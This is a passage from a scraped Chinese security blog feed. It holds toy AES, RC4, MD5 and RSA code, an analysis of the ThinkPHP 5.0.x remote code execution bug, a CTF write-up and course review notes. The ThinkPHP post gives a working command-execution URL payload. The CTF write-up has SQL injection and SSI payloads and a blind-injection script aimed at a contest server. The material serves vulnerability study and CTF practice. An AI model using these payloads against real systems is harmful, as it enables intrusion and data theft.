range(0,4): for j in range(0,4): matrix[i][j] = str[(i*4+j)*2:(i*4+j)*2+2] return matrixdef mix(str): col = [[\"02\", \"03\", \"01\", \"01\"], [\"01\", \"02\", \"03\", \"01\"], [\"01\", \"01\", \"02\", \"03\"], [\"03\", \"01\", \"01\", \"02\"]] s = str2matrix(str) res = \"\" for i in range(0,len(s)): #i是行 j是列 for j in range(0,len(s[i])): tmp_ascii = 0x00 for n in range(0,len(s[i])): tmp_ascii = tmp_ascii^int(G(col[i][n],s[n][j]),16) tmp = hex(tmp_ascii)[2:] if len(tmp) != 2: for sb in range(0, 2 - len(tmp)): tmp = \"0\" + tmp res += tmp return res.upper()def _mix(str): col = [[\"0E\", \"0B\", \"0D\", \"09\"], [\"09\", \"0E\", \"0B\", \"0D\"], [\"0D\", \"09\", \"0E\", \"0B\"], [\"0B\", \"0D\", \"09\", \"0E\"]] s = str2matrix(str) res = \"\" for i in range(0,len(s)): #i是行 j是列 for j in range(0,len(s[i])): tmp_ascii = 0x00 for n in range(0,len(s[i])): tmp_ascii = tmp_ascii^int(G(col[i][n],s[n][j]),16) tmp = hex(tmp_ascii)[2:] if len(tmp) != 2: for sb in range(0, 2 - len(tmp)): tmp = \"0\" + tmp res += tmp return res.upper()def ni_key_col_mix(str): col = [[\"0E\", \"0B\", \"0D\", \"09\"], [\"09\", \"0E\", \"0B\", \"0D\"], [\"0D\", \"09\", \"0E\", \"0B\"], [\"0B\", \"0D\", \"09\", \"0E\"]] s = str2matrix(str) res = [[\"0E\", \"0B\", \"0D\", \"09\"], [\"09\", \"0E\", \"0B\", \"0D\"], [\"0D\", \"09\", \"0E\", \"0B\"], [\"0B\", \"0D\", \"09\", \"0E\"]] for i in range(0,len(s)): #i是行 j是列 for j in range(0,len(s[i])): tmp_ascii = 0x00 for n in range(0,len(s[i])): tmp_ascii = tmp_ascii ^ int(G(col[i][n], s[n][j]), 16) tmp = hex(tmp_ascii)[2:] if len(tmp) != 2: for sb in range(0, 2 - len(tmp)): tmp = \"0\" + tmp res[i][j] = tmp.upper() return resdef ni_key_mix(str1,str2): my_str1 = ni_key_col_mix(str1) my_str2 = ni_key_col_mix(str2) res = \"\" for i in range(0,len(my_str1)): for j in range(0,len(my_str2)): tmp = hex(int(my_str1[i][j],16)^int(my_str2[i][j],16))[2:] if len(tmp) != 2: for j in range(0, 2 - len(tmp)): tmp = \"0\" + tmp res +=tmp return res.upper()def xor(str1,str2): x = '' for i in range(0,len(str1),2): tmp = hex(int(str1[i:i+2],16)^int(str2[i:i+2],16))[2:] if len(tmp)!=2 : tmp = '0' + tmp x += tmp return x.upper()def F(str): str = S_box(str) str = move(str) str = mix(str) return str# 密钥处理def R(str,i): Rcon = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36] str = hex(int(str[0:2],16)^Rcon[i-1])[2:]+str[2:] return str.upper()def T(str,i): str = str[2:]+str[0:2] str = S_box(str) str = R(str,i) return str.upper()def key_10(str): key_final=[] key_final.append(str) for i in range(0,10): key = xor(str[i * 32:i * 32+ 8],T(str[i * 32+24:i * 32+32],i+1)) str += key for j in range(1,4): tmp = str[i * 32+j*8:i * 32+j*8 + 8] tmp1 = str[i * 32+j*8+24:i * 32+j*8 + 32] tmp = xor(tmp, tmp1) key += tmp str += tmp key_final.append(key.upper()) return key_final# 加密程序def encrypto(str,key): m = str2hex(str) key = str2hex(key) key = key_10(key) m = xor(m,key[0]) for i in range(1,10): m = F(m) m = xor(m,key[i]) m = S_box(m) m = move(m) m = xor(m,key[10]) return mdef decrypto(str,key):#16进制输入 key = str2hex(key) key = key_10(key) str = xor(str, key[10]) i = 9 while i>0: str = _S_box(str) str = _move(str) str = ni_key_mix(str,key[i]) i = i - 1 str = _S_box(str) str = _move(str) str = xor(str, key[0]) return str.decode('hex')key='zydzydzydzydzydq'str='abcdefghjigklmno'print encrypto(str,key)print decrypto(encrypto(str,key),key) 序列密码RC41234567891011121314151617181920212223242526272829303132333435363738394041424344# coding:utf-8# author:altman# RC4def S_box(k): S = [] * 255 T = [] * 256 for i in range(0,256): S.append(i) T.append(ord(k[i % len(k)])) j = 0 for i in range(0,256): j = (j + S[i] + T[i]) % 256 tmp = S[i] S[i] = S[j] S[j] = tmp return Sdef RC4(m,k): c = '' i = j = 0 S = S_box(k) for n in range(len(m)): i = (i + 1) % 256 j = (j + S[i]) % 256 tmp = S[i] S[i] = S[j] S[j] = tmp t = (S[i] + S[j]) % 256 c += hex( (ord(m[n]) ^ S[t]) )[2:] return ckey = 'altman'message = 'justatest'c = RC4(message,key)print \"key: \"+keyprint \"密文: \"+cc='8684737f9e4ff9b1b8'c = RC4(c.decode('hex'),key).decode(\"hex\")print \"明文: \"+c hashmd5这个写起来也很麻烦,目前只实现了明文长度在一个分组内的加密,超过512bit的加密有点小问题,有时间再改吧。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130# coding:utf-8# author:altman# md5import mathA = '0x67452301'B = '0xefcdab89'C = '0x98badcfe'D = '0x10325476'def str2hex(str): res = '' for i in str: x = hex(ord(i))[2:] for i in range(0,2-len(x)): x = '0' + x res += x return res# 填充def appd(str): str = str2hex(str) lenth = len(str)*4 str += '80' while (len(str) * 4 + 64) % 512 != 0: str += '00' len_hex = (hex(lenth))[2:] if len(len_hex)%2!=0: len_hex ='0'+len_hex while (len(len_hex) * 4) != 64: len_hex += '00' str += len_hex return str# 移位def lift(str,n): res = (((str << n) | (str >> (32 - n))) & 0xffffffff) return res# 步函数def F(x,y,z): res = (x & y) | ((~x) & z) return resdef G(x,y,z): res = ( x & z) | (y & (~z)) return resdef H(x,y,z): return (x^y^z)def I(x,y,z): res = y ^ (x | (~z)) return resdef T(i): result = (int(4294967296 * abs(math.sin(i)))) & 0xffffffff return hex(result)[2:]def re(str): res = '' for i in range(0,len(str),2): res += str[len(str)-i-2:len(str)-i] return resshi_1 = (7, 12, 17, 22) * 4shi_2 = (5, 9, 14, 20) * 4shi_3 = (4, 11, 16, 23) * 4shi_4 = (6, 10, 15, 21) * 4m_1 = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)m_2 = (1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12)m_3 = (5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2)m_4 = (0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9)def FF(abcd,fun,m,shi): global t_count count =0 while count<16: tmp = int(abcd[0],16) + fun(int(abcd[1], 16), int(abcd[2], 16), int(abcd[3], 16)) tmp += int(m[count],16) tmp += int(T(t_count),16) tmp = tmp & 0xffffffff tmp2 = lift(tmp,shi[count]) abcd[0] = hex((int(abcd[1], 16) + tmp2) & 0xffffffff) abcd = [abcd[3], abcd[0], abcd[1], abcd[2]] count +=1 t_count +=1 return abcddef M_16(m,str,t): count = 0 M = [0] * 16 for i in m: i=i*8 M[count] = re(str[i + t:i + t+2] + str[i + 2 + t:i + 4 + t] + str[i + 4 + t:i + 6 + t] + str[i + 6 + t:i + 8 + t]) count +=1 return Mt_count=1def md5(str): str = appd(str) abcd=[A,B,C,D] for i in range(0, len(str) / 128): M_1 = M_16(m_1, str, i) abcd = FF(abcd, F, M_1, shi_1) M_2 = M_16(m_2, str, i) abcd = FF(abcd, G, M_2, shi_2) M_3 = M_16(m_3, str, i) abcd = FF(abcd, H, M_3, shi_3) M_4 = M_16(m_4, str, i) abcd = FF(abcd, I, M_4, shi_4) final_a = re(hex(int(abcd[0], 16) + int(A, 16))[2:]) final_b = re(hex(int(abcd[1], 16) + int(B, 16))[2:]) final_c = re(hex(int(abcd[2], 16) + int(C, 16))[2:]) final_d = re(hex(int(abcd[3], 16) + int(D, 16))[2:]) abcd =[final_a,final_b,final_c,final_d] final= final_a+final_b+final_c+final_d return finalstr = 'a'print md5(str) 公钥密码RSA这个最简单了,随便找了对pq。 1234567891011121314151617181920212223242526272829303132333435363738# coding:utf-8# author:altman# RSAdef hex2str(str): res='' if len(str)%2 != 0: str = str +'0' for i in range(0,len(str),2): res += chr(int(str[i:i+2],16)) return res# 求模反def egcd(a,b): if b==0: return a,1,0 else: g,x,y=egcd(b,a%b) return g,y,x-a//b*ydef encrypto(str,n,e): str = int(str.encode(\"hex\"),16) c = pow(str,e,n) return cdef decrypto(c,n,d): m = pow(c,d,n) m = hex2str(hex(m)[2:].replace(\"L\",\"\")) return mp=275127860351348928173285174381581152299q=319576316814478949870590164193048041239n=p*qe=65537d=egcd(e,(p-1)*(q-1))[1]print encrypto('altman',n,e)print decrypto(encrypto('altman',n,e),n,d) //以后再补充修改","categories":[],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://altman.vip/tags/crypto/"}]},{"title":"ThinkPhp5.0x_Getshell_分析","slug":"ThinkPhp5-0x-Getshell-分析","date":"2018-12-18T03:14:33.000Z","updated":"2018-12-19T07:42:13.476Z","comments":true,"path":"2018/12/18/ThinkPhp5-0x-Getshell-分析/","link":"","permalink":"http://altman.vip/2018/12/18/ThinkPhp5-0x-Getshell-%E5%88%86%E6%9E%90/","excerpt":"前言分析一下前几天很火的tp5任意代码执行漏洞。 可以先看下官方公告。 测试版本为ThinkPHP V5.0.22,测试环境为OSX+apache2+php5.6+Mysql5.7。","text":"前言分析一下前几天很火的tp5任意代码执行漏洞。 可以先看下官方公告。 测试版本为ThinkPHP V5.0.22,测试环境为OSX+apache2+php5.6+Mysql5.7。 漏洞分析更新信息已修复的版本5.0.23在/library/think/App.php中555-556行中增加了对$controller的过滤。 123if (!preg_match('/^[A-Za-z](\\w|\\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); } POC : 1/public/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls 显然问题是出在控制器过滤不严格导致调用了不安全的控制器。 分析过程首先进入框架入口 1require __DIR__ . '/../thinkphp/start.php'; 引入了start.php。定位到这个文件 12// 2. 执行应用App::run()->send(); 利用run()函数执行应用。全局搜索定位到App.php:77。 在112-120行中查找到有关路由的操作。 123456789$dispatch = self::$dispatch;// 未设置调度信息则进行 URL 路由检测if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config);}// 记录当前调度信息$request->dispatch($dispatch); 跟进定位到routeCheck()函数,同样在App.php:617 继续跟进这个path()函数 继续跟pathinfo()。 1234567891011121314151617181920212223242526public function pathinfo() { if (is_null($this->pathinfo)) { if (isset($_GET[Config::get('var_pathinfo')])) { // 判断URL里面是否有兼容模式参数 $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')]; unset($_GET[Config::get('var_pathinfo')]); } elseif (IS_CLI) { // CLI模式下 index.php module/controller/action/params/... $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : ''; } // 分析PATHINFO信息 if (!isset($_SERVER['PATH_INFO'])) { foreach (Config::get('pathinfo_fetch') as $type) { if (!empty($_SERVER[$type])) { $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ? substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type]; break; } } } $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/'); } return $this->pathinfo; } 终于看到具体的获取方法。以GET方法获取path,然后层层传递到达routeCheck->$request。 ‘var_pathinfo’的值为s。 我们再回到routeCheck()分析 123// 路由检测(根据路由定义返回不同的URL调度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; path()传入后会经过路由检测,导入配置,最后返回调度给$result。 定位到Route::check() 对path进行一些检查替换。 返回来继续分析。 如果调度失败并且开启了强制路由$must,就抛出异常。 我们跟进他的异常处理 123if (false === $result) { $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); } 他会调用parseUrl函数对path进行解析。跟进parseUrl。只看一些关键部分。 12345678910public static function parseUrl($url, $depr = '/', $autoSearch = false) { if (isset(self::$bind['module'])) { $bind = str_replace('/', $depr, self::$bind['module']); // 如果有模块/控制器绑定 $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); } $url = str_replace($depr, '|', $url); list($path, $var) = self::parseUrlPath($url); 对$url进行了parseUrlPath操作,我们继续跟进parseUrlPath()。 12345678910111213141516171819private static function parseUrlPath($url){ // 分隔符替换 确保路由定义使用统一的分隔符 $url = str_replace('|', '/', $url); $url = trim($url, '/'); $var = []; if (false !== strpos($url, '?')) { // [模块/控制器/操作?]参数1=值1&参数2=值2... $info = parse_url($url); $path = explode('/', $info['path']); parse_str($info['query'], $var); } elseif (strpos($url, '/')) { // [模块/控制器/操作] $path = explode('/', $url); } else { $path = [$url]; } return [$path, $var];} 可以看到parseUrlPath将(module/controller/action)打散装进数组中。将结果返回parseUrl()中。parseUrl()将获得的(module/controller/action)封装进$route返回。 1$route = [$module, $controller, $action]; 然后我们重新回到run()函数中,$dispatch已经获得了数据,继续向下分析。进入App.php:139行。 $dispatch 进入到self::exec()中,继续跟进。 123456789101112131415161718192021222324252627282930313233343536373839protected static function exec($dispatch, $config) { switch ($dispatch['type']) { case 'redirect': // 重定向跳转 $data = Response::create($dispatch['url'], 'redirect') ->code($dispatch['status']); break; case 'module': // 模块/控制器/操作 $data = self::module( $dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null ); break; case 'controller': // 执行控制器操作 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = Loader::action( $dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix'] ); break; case 'method': // 回调方法 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = self::invokeMethod($dispatch['method'], $vars); break; case 'function': // 闭包 $data = self::invokeFunction($dispatch['function']); break; case 'response': // Response 实例 $data = $dispatch['response']; break; default: throw new \\InvalidArgumentException('dispatch type not support'); } return $data; } 由于parseUrl()函数最后的赋值,显然我们会进入module分支。然后进入model()函数,跟进model()函数。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114public static function module($result, $config, $convert = null){ if (is_string($result)) { $result = explode('/', $result); } $request = Request::instance(); if ($config['app_multi_module']) { // 多模块部署 $module = strip_tags(strtolower($result[0] ?: $config['default_module'])); $bind = Route::getBind('module'); $available = false; if ($bind) { // 绑定模块 list($bindModule) = explode('/', $bind); if (empty($result[0])) { $module = $bindModule; $available = true; } elseif ($module == $bindModule) { $available = true; } } elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) { $available = true; } // 模块初始化 if ($module && $available) { // 初始化模块 $request->module($module); $config = self::init($module); // 模块请求缓存检查 $request->cache( $config['request_cache'], $config['request_cache_expire'], $config['request_cache_except'] ); } else { throw new HttpException(404, 'module not exists:' . $module); } } else { // 单一模块部署 $module = ''; $request->module($module); } // 设置默认过滤机制 $request->filter($config['default_filter']); // 当前模块路径 App::$modulePath = APP_PATH . ($module ? $module . DS : ''); // 是否自动转换控制器和操作名 $convert = is_bool($convert) ? $convert : $config['url_convert']; // 获取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); $controller = $convert ? strtolower($controller) : $controller; // 获取操作名 $actionName = strip_tags($result[2] ?: $config['default_action']); if (!empty($config['action_convert'])) { $actionName = Loader::parseName($actionName, 1); } else { $actionName = $convert ? strtolower($actionName) : $actionName; } // 设置当前请求的控制器、操作 $request->controller(Loader::parseName($controller, 1))->action($actionName); // 监听module_init Hook::listen('module_init', $request); try { $instance = Loader::controller( $controller, $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller'] ); } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); } // 获取当前操作名 $action = $actionName . $config['action_suffix']; $vars = []; if (is_callable([$instance, $action])) { // 执行操作方法 $call = [$instance, $action]; // 严格获取当前操作方法名 $reflect = new \\ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix = $config['action_suffix']; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName); } elseif (is_callable([$instance, '_empty'])) { // 空操作 $call = [$instance, '_empty']; $vars = [$actionName]; } else { // 操作不存在 throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); } Hook::listen('action_begin', $call); return self::invokeMethod($call, $vars);} 这个函数代码略长,大概分析一下。$request会进入多模块部署,然后进入else if分支进行模块是否存在的判断。 最后一波操作后会进入 1self::invokeMethod($call, $vars); 其中 $call存放的是 controller 继续跟进 invokeMethod() 12345678910111213141516public static function invokeMethod($method, $vars = []) { if (is_array($method)) { $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new \\ReflectionMethod($class, $method[1]); } else { // 静态方法 $reflect = new \\ReflectionMethod($method); } $args = self::bindParams($reflect, $vars); self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); return $reflect->invokeArgs(isset($class) ? $class : null, $args); } 此时method是一个数组,[0]存放的是think/app,[1]存放的是invokefunction 通过ReflectionMethod调用mehtod也就是think/app模型下的方法。 同样,通过bindParams获取$var中的参数 也就是payload中的 1&function=call_user_func_array&vars[0]=system&vars[1][]=ls 然后通过 1$reflect->invokeArgs(isset($class) ? $class : null, $args); 将方法和参数传入invokeFunction()中。 12345678910public static function invokeFunction($function, $vars = []){ $reflect = new \\ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 记录执行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args);} 执行call_user_func_array(‘system’,[‘ls’])。 攻击流程图 若有错误,还请各位大佬指正。","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"ELS_2018_WriteUp","slug":"ELS-2018-WriteUp","date":"2018-11-16T14:47:56.000Z","updated":"2018-11-16T17:25:23.365Z","comments":true,"path":"2018/11/16/ELS-2018-WriteUp/","link":"","permalink":"http://altman.vip/2018/11/16/ELS-2018-WriteUp/","excerpt":"WEBSimpleBBS登录界面界面随手尝试输入单引号,引发了报错。 随即尝试报错注入","text":"WEBSimpleBBS登录界面界面随手尝试输入单引号,引发了报错。 随即尝试报错注入 11' and (extractvalue(1,concat(0x7e,database(),0x7e)))# 成功爆出数据库,下面就是常规注入了 11' and (extractvalue(1,concat(0x7e,(select flag from flag limit 0,1),0x7e)))# 用substr函数截取,拿到完整flag。 11' and (extractvalue(1,concat(0x7e,(select substr(flag,20,40) from flag limit 0,1),0x7e)))# SimpleServerInjectionhint:SimpleServerInjection, SSI, flag in current directory SSI:服务器端包含攻击 https://www.secpulse.com/archives/66934.html 根据文章的payload : 1<!--#include virtual=\"flag\" --> SimpleExtensionExplorerInjection提示XXE, /flag。 直接尝试XXE进行读文件 需要改 content-type:application/xml SimplePrintEventLoggerhint:same server as SimpleExtensionExploreInjection , RCE, flag in / 和上一题同样的环境,flag在根目录下。 还是用上题的payload 直接读到根目录,有个flagvvvvvaaaagegsgag2333文件 然后读flagvvvvvaaaagegsgag2333 (和RCE有什么关系?非预期了吗) SimpleBlog随便登录进去之后看到提示二次注入和文件包含。 经过一波尝试发现 注册一个 a’ 账户 ,无论怎么点题目都是0分。 但是注册一个 a’ # ,点题会有分数出现。可以构造bool盲注 。 11' and if(1,exp(999999999999),1)# 执行exp()函数会造成报错,会造成分数都为0。 11' and if(0,exp(999999999999),1)# 如果语句正常执行不报错,分数会正常显示。 这样就构成了bool盲注。 编写脚本 12345678910111213141516171819202122232425262728293031323334353637383940# encoding=utf-8import requestsdef reg(name): url=\"http://210.32.4.20/register.php\" data={ 'username': name , 'password': '123456' } r=requests.post(url=url,data=data) return r.headers['Set-Cookie'][10:-8]def log(name,cookie): cookies = { 'PHPSESSID': cookie } url='http://210.32.4.20/login.php' data = { 'username': name, 'password': '123456' } requests.post(url=url, data=data, cookies=cookies) url = 'http://210.32.4.20/answer.php' data = { '1.a': 'on' } r = requests.post(url=url, data=data, cookies=cookies) if 'Your grades is 0' in r.content: return 1 else: return 0flag=''for i in range(1,1000): for j in (33,127): payload = '''1' and if((ascii(substr((select flag from flag limit 0,1),%d,1))=%d),exp(999999999999),1)#'''%(i, j) session = reg(payload) if (log(payload,session)): flag=flag+chr(j) print flag break 根据提示在flag表flag段中找到。 miscgogogo流量包追踪tcp流 保存照片得到flag。 checkin验证码识别题 由于数量大并且有时间显示,考虑跑脚本来进⾏自动识别。首先需要写⼀一个training.py,收集验证码供人识别,产⽣一个训练集: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950import pwnlabels = dict()labeled = 0fails = 0while labeled < 36: isFailed = True io = pwn.remote('210.32.4.14', 13373) io.recvline() io.recvline() io.recvline() lines = [] for i in range(10): cur = io.recvline() lines.append(cur) for no in range(6): cur = '' for i in range(10): for j in range(18 * no, 18 * (no + 1)): cur += lines[i][j] cur += '\\n' isLabeled = False for value in labels.itervalues(): if cur == value: isLabeled = True if isLabeled: break print cur ans = raw_input() labels[ans[0]] = cur labeled += 1 isFailed = False if isFailed: fails += 1 else: fails = 0 if fails > 20: break print '%d pictures have been labeled. ' % labeled io.close()f = open('trainingset.txt', 'wt')for key, value in labels.iteritems(): f.write(key) f.write('=') f.write(value.encode('hex')) f.write('#\\n')f.close() 然后开始自动识别 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849import pwnlabels = dict()f = open('trainingset.txt', 'rt')flines = f.readlines()for line in flines: c = line[0] label = line[2:-2].decode('hex') labels[c] = labelio = pwn.remote('210.32.4.14', 13373)io.recvline()io.recvline()io.recvline()for _ in range(20): lines = [] for i in range(10): cur = io.recvline() lines.append(cur) ans = '' for no in range(6): cur = '' for i in range(10): for j in range(18 * no, 18 * (no + 1)): cur += lines[i][j] cur += '\\n' isLabeled = False curChr = '' for key, value in labels.iteritems(): if cur == value: isLabeled = True curChr = key break if not isLabeled: print cur curChr = raw_input()[0] labels[curChr] = cur f = open('trainingset.txt', 'at') f.write(curChr) f.write('=') f.write(cur.encode('hex')) f.write('#\\n') ans += curChr io.recvuntil('your captcha: ') io.sendline(ans)print io.recvall()io.close() 拿到flag CRYPTOAzureRSA12345678910n1=0xcfc59d54b4b2e9ab1b5d90920ae88f430d39fee60d18dddbc623d15aae645e4e50db1c07a02d472b2eebb075a547618e1154a15b1657fbf66ed7e714d23ac70bdfba4c809bbb1e27687163cb09258a07ab2533568192e29a3b8e31a5de886050b28b3ed58e81952487714dd7ae012708db30eaf007620cdeb34f150836a4b723Le1=0xfae3aLc1=0x81523a330fb15125b6184e4461dadac7601340960840c5213b67a788c84aecfcdc3caf0bf3e27e4c95bb3c154db7055376981972b1565c22c100c47f3fa1dd2994e56090067b4e66f1c3905f9f780145cdf8d0fea88a45bae5113da37c8879c9cdb8ee9a55892bac3bae11fbbabcba0626163d0e2e12c04d99f4eeba5071cbeaLn2=0xd45304b186dc82e40bd387afc831c32a4c7ba514a64ae051b62f483f27951065a6a04a030d285bdc1cb457b24c2f8701f574094d46d8de37b5a6d55356d1d368b89e16fa71b6603bd037c7f329a3096ce903937bb0c4f112a678c88fd5d84016f745b8281aea8fd5bcc28b68c293e4ef4a62a62e478a8b6cd46f3da73fa34c63Le2=0x1f9eaeLc2=0x4d7ceaadf5e662ab2e0149a8d18a4777b4cd4a7712ab825cf913206c325e6abb88954ebc37b2bda19aed16c5938ac43f43966e96a86913129e38c853ecd4ebc89e806f823ffb802e3ddef0ac6c5ba078d3983393a91cd7a1b59660d47d2045c03ff529c341f3ed994235a68c57f8195f75d61fc8cac37e936d9a6b75c4bd2347Lassert pow(flag,e1,n1)==c1assert pow(flag,e2,n2)==c2assert gcd(e1,(p1-1)*(q1-1))==14assert gcd(e2,(p2-1)*(q2-1))==14 解密脚本 123456789101112131415161718192021222324252627282930313233import gmpy2from libnum import *n1=0xcfc59d54b4b2e9ab1b5d90920ae88f430d39fee60d18dddbc623d15aae645e4e50db1c07a02d472b2eebb075a547618e1154a15b1657fbf66ed7e714d23ac70bdfba4c809bbb1e27687163cb09258a07ab2533568192e29a3b8e31a5de886050b28b3ed58e81952487714dd7ae012708db30eaf007620cdeb34f150836a4b723Le1=0xfae3aLc1=0x81523a330fb15125b6184e4461dadac7601340960840c5213b67a788c84aecfcdc3caf0bf3e27e4c95bb3c154db7055376981972b1565c22c100c47f3fa1dd2994e56090067b4e66f1c3905f9f780145cdf8d0fea88a45bae5113da37c8879c9cdb8ee9a55892bac3bae11fbbabcba0626163d0e2e12c04d99f4eeba5071cbeaLn2=0xd45304b186dc82e40bd387afc831c32a4c7ba514a64ae051b62f483f27951065a6a04a030d285bdc1cb457b24c2f8701f574094d46d8de37b5a6d55356d1d368b89e16fa71b6603bd037c7f329a3096ce903937bb0c4f112a678c88fd5d84016f745b8281aea8fd5bcc28b68c293e4ef4a62a62e478a8b6cd46f3da73fa34c63Le2=0x1f9eaeLc2=0x4d7ceaadf5e662ab2e0149a8d18a4777b4cd4a7712ab825cf913206c325e6abb88954ebc37b2bda19aed16c5938ac43f43966e96a86913129e38c853ecd4ebc89e806f823ffb802e3ddef0ac6c5ba078d3983393a91cd7a1b59660d47d2045c03ff529c341f3ed994235a68c57f8195f75d61fc8cac37e936d9a6b75c4bd2347Lp=gcd(n1,n2)q1=n1/pq2=n2/passert(p*q1==n1)assert(p*q2==n2)f1=(p-1)*(q1-1)f2=(p-1)*(q2-1)tmp=gcd(e1,e2)e1=e1/tmpe2=e2/tmpd1=invmod(e1,f1)d2=invmod(e2,f2)m1=pow(c1,d1,n1)m2=pow(c2,d2,n2)m3=m1%pm2=m2%q2m1=m1%q1m=solve_crt([m1,m2,m3], [q1,q2,p])print mn=q1*q2f=(q1-1)*(q2-1)m=m%nd=invmod(7,f)m=pow(m,d,n)print n2s(gmpy2.iroot(m, 2)[0])","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"},{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"网络安全课程复习","slug":"网络安全课程复习","date":"2018-11-15T11:42:39.000Z","updated":"2018-11-26T05:36:25.949Z","comments":true,"path":"2018/11/15/网络安全课程复习/","link":"","permalink":"http://altman.vip/2018/11/15/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%AF%BE%E7%A8%8B%E5%A4%8D%E4%B9%A0/","excerpt":"快考试了,总结一下网络安全的知识点。","text":"快考试了,总结一下网络安全的知识点。 第一章 概论0x00 网络安全主要威胁特洛伊木马,黑客攻击,后门,计算机病毒,拒绝服务攻击,内外部泄密,蠕虫,逻辑炸弹,信息丢失篡改销毁。 0x01 网络安全的三个基本属性 C I A (扩展5个)机密性(Confidentiality) 完整性(Integrity) 可用性(Availabiliy) 可靠性(Dependability) 不可抵赖性(Undeniability) 可控性(Controllability) 可审查性(Auditability) 真实性(Authenticity) 0x02 计算机信息系统安全保护TCSEC(Trusted Computer Evaluation Criteria,可信 计算机系统评估准则,美国国防部标准(1983);4类 7级 • D级 :安全保护欠缺级 • C1级:自主安全保护级 • C2级:受控存取保护级 • B1级:标记安全保护级 • B2级:结构化保护级 • B3级:安全域保护级 • A级 :验证设计级 0x03 网络安全体系机构 OSI 提供了哪些安全服务(5类)0.认证(鉴别)服务:在网络交互过程中,对收发双方的身份及数据来源进行验证。1.访问控制服务:防止未授权用户非法访问资源,包括用户身份认证和用户权限确认。2.数据保密性服务:防止数据在传输过程中被破解、泄露。3.数据完整性服务:防止数据在传输过程中被篡改。4.抗否认性服务:也称为抗抵赖服务或确认服务。防止发送方与接收方双方在执行各自操作后,否认各自所做的操作。 0x04 OSI提供了哪8种安全机制 (具体)0.加密机制:加密机制对应数据保密性服务。加密是提高数据安全性的最简便方法。通过对数据进行加密,有效提高了数据的保密性,能防止数据在传输过程中被窃取。常用的加密算法有对称加密算法(如DES算法)和非对称加密算法(如RSA算法)。 1.数字签名机制:数字签名机制对应认证(鉴别)服务。数字签名是有效的鉴别方法,利用数字签名技术可以实施用户身份认证和消息认证,它具有解决收发双方纠纷的能力,是认证(鉴别)服务最核心的技术。在数字签名技术的基础上,为了鉴别软件的有效性,又产生了代码签名技术。常用的签名算法有RSA算法和DSA算法等。 2.访问控制机制:访问控制机制对应访问控制服务。通过预先设定的规则对用户所访问的数据进行限制。通常,首先是通过用户的用户名和口令进行验证,其次是通过用户角色、用户组等规则进行验证,最后用户才能访问相应的限制资源。一般的应用常使用基于用户角色的访问控制方式,如RBAC(Role Basic Access Control,基于用户角色的访问控制)。 3.数据完整性机制:数据完整性机制对应数据完整性服务。数据完整性的作用是为了避免数据在传输过程中受到干扰,同时防止数据在传输过程中被篡改,以提高数据传输完整性。通常可以使用单向加密算法对数据加密,生成唯一验证码,用以校验数据完整性。常用的加密算法有MD5算法和SHA算法等。 4.认证机制:认证机制对应认证(鉴别)服务。认证的目的在于验证接收方所接收到的数据是否来源于所期望的发送方,通常可使用数字签名来进行认证。常用算法有RSA算法和DSA算法等。 5.业务流填充机制:也称为传输流填充机制。业务流填充机制对应数据保密性服务。业务流填充机制通过在数据传输过程中传送随机数的方式,混淆真实的数据,加大数据破解的难度,提高数据的保密性。 6.路由控制机制:路由控制机制对应访问控制服务。路由控制机制为数据发送方选择安全网络通信路径,避免发送方使用不安全路径发送数据,提高数据的安全性。 